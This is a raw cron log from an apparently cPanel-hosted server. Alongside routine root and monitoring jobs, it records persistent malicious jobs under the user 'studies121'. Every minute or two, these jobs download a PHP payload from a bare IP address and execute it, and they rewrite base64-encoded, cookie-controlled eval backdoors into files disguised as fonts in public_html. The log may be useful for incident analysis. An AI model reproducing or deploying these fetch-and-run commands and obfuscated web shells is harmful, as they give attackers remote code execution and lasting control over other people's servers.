Sep 10 11:24:02 ip-184-168-122-23 CROND[28057]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:24:02 ip-184-168-122-23 CROND[28058]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:25:01 ip-184-168-122-23 CROND[28163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:25:01 ip-184-168-122-23 CROND[28167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:25:01 ip-184-168-122-23 CROND[28166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:25:01 ip-184-168-122-23 CROND[28169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:25:01 ip-184-168-122-23 CROND[28165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:25:01 ip-184-168-122-23 CROND[28168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:26:01 ip-184-168-122-23 CROND[28393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:26:01 ip-184-168-122-23 CROND[28396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:26:01 ip-184-168-122-23 CROND[28395]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:26:01 ip-184-168-122-23 CROND[28398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:26:01 ip-184-168-122-23 CROND[28397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:27:01 ip-184-168-122-23 CROND[28507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:27:01 ip-184-168-122-23 CROND[28509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:27:01 ip-184-168-122-23 CROND[28511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:27:01 ip-184-168-122-23 CROND[28512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:28:01 ip-184-168-122-23 CROND[28647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:28:01 ip-184-168-122-23 CROND[28649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:28:01 ip-184-168-122-23 CROND[28651]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:28:01 ip-184-168-122-23 CROND[28650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:28:01 ip-184-168-122-23 CROND[28652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:29:01 ip-184-168-122-23 CROND[28767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:29:01 ip-184-168-122-23 CROND[28769]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:29:01 ip-184-168-122-23 CROND[28770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:29:01 ip-184-168-122-23 CROND[28773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:30:01 ip-184-168-122-23 CROND[28907]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28905]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:30:01 ip-184-168-122-23 CROND[28904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:30:01 ip-184-168-122-23 CROND[28910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:31:01 ip-184-168-122-23 CROND[29067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:31:01 ip-184-168-122-23 CROND[29068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:31:01 ip-184-168-122-23 CROND[29069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:31:01 ip-184-168-122-23 CROND[29070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:31:01 ip-184-168-122-23 CROND[29072]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 11:32:01 ip-184-168-122-23 CROND[29292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:32:01 ip-184-168-122-23 CROND[29291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:32:01 ip-184-168-122-23 CROND[29294]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:32:01 ip-184-168-122-23 CROND[29297]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:32:01 ip-184-168-122-23 CROND[29296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:33:01 ip-184-168-122-23 CROND[29393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:33:01 ip-184-168-122-23 CROND[29394]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:33:01 ip-184-168-122-23 CROND[29397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:33:01 ip-184-168-122-23 CROND[29398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:34:01 ip-184-168-122-23 CROND[29523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:34:01 ip-184-168-122-23 CROND[29525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:34:01 ip-184-168-122-23 CROND[29527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:34:01 ip-184-168-122-23 CROND[29526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:34:01 ip-184-168-122-23 CROND[29524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:35:01 ip-184-168-122-23 CROND[29647]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29651]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29650]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 11:35:01 ip-184-168-122-23 CROND[29658]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:35:01 ip-184-168-122-23 CROND[29657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 11:36:01 ip-184-168-122-23 CROND[29792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 11:36:01 ip-184-168-122-23 CROND[29794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 11:36:01 ip-184-168-122-23 CROND[29795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 11:36:01 ip-184-168-122-23 CROND[29796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
